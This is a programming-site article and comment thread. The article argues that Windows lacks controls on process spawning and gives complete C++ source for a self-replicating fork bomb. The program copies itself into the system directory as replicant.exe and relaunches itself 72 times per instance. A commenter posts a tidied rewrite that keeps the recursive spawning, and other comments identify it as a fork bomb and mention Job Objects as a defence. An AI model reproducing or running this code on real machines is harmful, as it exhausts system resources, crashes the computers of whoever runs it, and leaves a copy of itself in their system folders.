Click here to Skip to main content
16,013,207 members
Articles / Mobile Apps
Article

Why Windows Should Have Tight Control Over The WinExec function

Rate me:
Please Sign up or sign in to vote.
1.00/5 (17 votes)
26 Jun 20021 min read 115.4K   594   11   30
A brief description with proof of concept code detailing why finer execution control is needed with the Windows OS family.

Introduction

The Windows family is inherantly flawed in it's control of process execution on an OS global level. After discovering a rather nasty error in a recent program, I was able to determine that it is possible to enter into an EXTREME multiple replication condition within Windows which is similar to the Infinate Spawning Denial of Service attack that is able to be performed using some simple javascript containing a while loop under Internet Explorer 6 and all previous IE releases that incorporated javascript. This however uses native win32 code making it FAR more deadly in it's capability. When clocked during profiling phases, this application has a potential to be able to spawn 72 copies of itself per second. When this is coupled with the fact that per each instance of teh application executed, 72 more copies will be generated quickly consuming system resources. I have included the full source code for proof of concept. I have left the code in an uncompiled state so as to prevent accidental execution. Compile at your own risk. I invite your comments. Source code follows below.

#include "stdafx.h"

int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     int       nCmdShow)
{
 	
	// get the current module name and store it
	// in a char variable for later usage using
        // MAX_PATH to avoid a buffer overflow if a
        // windows installation happens to be store
        // in a deep level path name

	LPSTR lpThisModule = new TCHAR[MAX_PATH];
	
	GetModuleFileName(NULL, lpThisModule, MAX_PATH);
	
	// get the windows system path and store it
	// in a char variable for later usage using
        // MAX_PATH to avoid a buffer overflow if a
        // windows installation happens to be store
        // in a deep level path name


	LPSTR lpSystemPath = new TCHAR[MAX_PATH];
	
	GetSystemDirectory(lpSystemPath, MAX_PATH);
	
	// create a variable to hold the name of the 
	// destination module so that we can use the
	// strcat function to get a valid path name 
	// out of it for the CopyFile() function

	char szReplicantName[16] = "\\replicant.exe";
	
	strcat(lpSystemPath, szReplicantName);

	// copy ourselves into the system directory
	// using lpThisModule and lpSystemPath for
	// our module and system path locations
	
	CopyFile(lpThisModule, lpSystemPath, FALSE);
	
	// time to run and repeat the whole process
	// of replication from within the replicant
	// that we're about to execute.  Optimizied
	// variable sizes help keep the the loading
	// time low, but the repeated execution can
	// cause a RAPID resources drain on all but
	// the most beefed up systems...5184+ copys
	// of a application all desperate to run at
	// the same  time will do that to you...
	
	// setting up two integers to control the
	// execution of the loop that will actually
	// handle the replication of our executable
	
	int WhileLoopController = 1;
	
	int WhileLoopIterator = 0;

	while(WhileLoopController == 1)
	
	{
		
		WinExec(lpSystemPath, 0);
		
		WhileLoopIterator++;

			// not that this matters much after the
			// ball starts rolling, but it's being
			// included for the purposes of writing
			// complete and correct code as all loops
			// should contain some method to break out

			if( WhileLoopIterator >= 72 )
	
			{
				
				// setting the loop controller to 0
				// so we break from the while loop
				
				WhileLoopController = 0;

			}
	
	}

	return 0;

}
I find it fairly assinine that the microsoft os development teams have not added a facility to my knowledge to any windows os that prevents this rapid spawn condition from taking place. we're expected to pay out the wazoo for a solid OS, yet we get this. if anyone has any insight on ways to prevent this condition, I'd be interested in hearing them.

License

This article has no explicit license attached to it but may contain usage terms in the article text or the download files themselves. If in doubt please contact the author via the discussion board below.

A list of licenses authors might use can be found here


Written By
Web Developer
United States United States
My name is John Aldrich. I have pursued programming as a hobby for the past 6 years and currently have experience in Perl (basic / intermediate), HTML (advanced), and I have recently begun to learn C/C++. I also have a profound interest in all things graphics related and and constantly working to improve my knowledge in all areas of computing. I run a home based web software company named Professional Design Resources. If you are interested in any custom programming or would be interested in collaberating on a joint project, please feel free to contact me via email, where I'll be happy to discuss such things. Serious projects only please.

Comments and Discussions

 
GeneralWindows and hammer Pin
Dr. APo30-Apr-06 4:03
professionalDr. APo30-Apr-06 4:03 
GeneralDefinition Pin
R Dawson16-Mar-06 9:30
R Dawson16-Mar-06 9:30 
GeneralPoint Counterpoint Pin
Wokaiie10-Sep-05 15:31
Wokaiie10-Sep-05 15:31 
GeneralSome advice regarding the code Pin
David Nash2-May-05 1:09
David Nash2-May-05 1:09 
Hi,

You've copped a bit of criticism over both the gist of your article, as well as your code. I'll restrict myself to your code here and offer a few pointers on how you might improve it.

I took the liberty of rewriting your code a bit. This is what I came up with...

#include "stdafx.h"

int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     int       nCmdShow)
{
  //store the module name
  char* pszThisModule = new char[MAX_PATH + 1];
  GetModuleFileName(NULL, pszThisModule, MAX_PATH + 1);

  //store the system path
  char* pszSystemPath = new char[MAX_PATH + 1];
  DWORD dwLength = GetSystemDirectory(pszSystemPath, MAX_PATH +1);

  //This variable stores the name of the module
  char szReplicantName[16] = "\\replicant.exe";

  if(dwLength < MAX_PATH - 16)
  {
    strncat(pszSystemPath, szReplicantName, MAX_PATH);
		
    //Uncomment the line below if you really want to
    //CopyFile(pszThisModule, pszSystemPath, FALSE);
  }

  //***WARNING: this code will recurse indefinitely 
  for (int i = 0; i <= 72; i++)
  {
    WinExec(pszThisModule, 0); 
  }

  delete[] pszThisModule;
  delete[] pszSystemPath;

  return 0;
}


Explanation and comments

* MAX_PATH+1 is a more appropriate size for the character arrays. Microsoft recommends MAX_PATH+1 as the minimum for GetModuleFileName and GetSystemDirectory.

* Comments have been reduced to a more appropriate length.

* The loop has been simplified.

* Arrays that have been allocated by "new" are now deleted properly.

* The size of the string is checked before attempting the strncat. We only proceed with this (and CopyFile) when we're sure the copy will work as expected.

* Its better to use strncat rather than strcat to avoid buffer overruns.

* It would have been better to use CreateProcess rather than WinExec (WinExec is only provided for compatibility with 16-bit windows), but that would have required a fairly major code rewrite.

* It's not a good idea to mix TCHAR and char in your code.
TCHAR is a macro that expands to char for ANSI and to wchar for Unicode. Using TCHAR implies that you intend the code to be Unicode compliant. When the code turns out not to be Unicode compliant, that will be perceived as a bug. WinExec is not Unicode compliant, so we're obliged to use char (or CHAR) in this code and avoid TCHAR.

* I just couldn't live with copying a program like this into my system directory, so I left the comment in front of CopyFile. I feel that the system directory is no place for a program that deliberately intends to behave badly.


Other considerations:
* If you are manipulating character arrays, i.e. using strcat or strncat, you should consider using a string (or a CString if using MFC) instead of a character array. They are easier to use, and they don't overflow.

* Be mindful of the fact that this code doesn't bother to check that the GetModuleFileName and the GetSystemDirectory functions actually worked. That could be important in a larger project.

* There is nothing to be gained here by allocating the char array sizes dynamically at runtime. Under these circumstances its better to allocate the array sizes at compile time. Thats to say its better to use:
char szThisModule[MAX_PATH + 1];
rather than ...
char* pszThisModule = new char[MAX_PATH + 1];
This array has a fixed size of MAX_PATH + 1 which is known at compile time. Its better to reserve the use of dynamically assigned memory for those times where it provides some benefit.

I suspect that when others were talking about your code, these were some of the considerations they had in mind. I hope this helps.

regards,
David
GeneralHTML and windows programming Pin
Member 4232432-Aug-03 2:25
Member 4232432-Aug-03 2:25 
GeneralRe: HTML and windows programming Pin
Anonymous13-Jan-04 12:58
Anonymous13-Jan-04 12:58 
GeneralThat's MY computer! Pin
Kastellanos Nikos28-Jun-02 1:11
Kastellanos Nikos28-Jun-02 1:11 
GeneralA few points Pin
27-Jun-02 20:42
suss27-Jun-02 20:42 
GeneralRe: A few points Pin
Blake Coverett27-Jun-02 21:45
Blake Coverett27-Jun-02 21:45 
Questionwhat's so great about your fork bomb? Pin
27-Jun-02 18:24
suss27-Jun-02 18:24 
AnswerRe: what's so great about your fork bomb? Pin
ColinDavies27-Jun-02 18:58
ColinDavies27-Jun-02 18:58 
GeneralRe: what's so great about your fork bomb? Pin
Zhi Wong19-May-03 17:35
sussZhi Wong19-May-03 17:35 
GeneralRe: what's so great about your fork bomb? Pin
Kevin Flannery3-Aug-04 8:25
Kevin Flannery3-Aug-04 8:25 
GeneralRe: what's so great about your fork bomb? Pin
Anonymous19-Mar-05 1:28
Anonymous19-Mar-05 1:28 
GeneralRe: what's so great about your fork bomb? Pin
Gratemyl2-Jun-05 9:55
Gratemyl2-Jun-05 9:55 
GeneralWhat's the point of bashing???... Pin
27-Jun-02 18:19
suss27-Jun-02 18:19 
GeneralJob Objects Pin
Blake Coverett27-Jun-02 14:20
Blake Coverett27-Jun-02 14:20 
GeneralRe: Job Objects Pin
John Aldrich27-Jun-02 14:32
John Aldrich27-Jun-02 14:32 
GeneralRe: Job Objects Pin
Blake Coverett27-Jun-02 15:10
Blake Coverett27-Jun-02 15:10 
GeneralRe: Job Objects Pin
John Aldrich27-Jun-02 15:45
John Aldrich27-Jun-02 15:45 
GeneralRe: Job Objects Pin
Blake Coverett27-Jun-02 16:37
Blake Coverett27-Jun-02 16:37 
GeneralRe: Job Objects Pin
Kastellanos Nikos28-Jun-02 1:48
Kastellanos Nikos28-Jun-02 1:48 
GeneralNot too useful Pin
Eric Kenslow27-Jun-02 13:18
Eric Kenslow27-Jun-02 13:18 
GeneralRe: Not too useful Pin
John Aldrich27-Jun-02 13:56
John Aldrich27-Jun-02 13:56 
GeneralRe: Not too useful Pin
Eric Kenslow27-Jun-02 14:37
Eric Kenslow27-Jun-02 14:37 

General General    News News    Suggestion Suggestion    Question Question    Bug Bug    Answer Answer    Joke Joke    Praise Praise    Rant Rant    Admin Admin   

Use Ctrl+Left/Right to switch messages, Ctrl+Up/Down to switch threads, Ctrl+Shift+Left/Right to switch pages.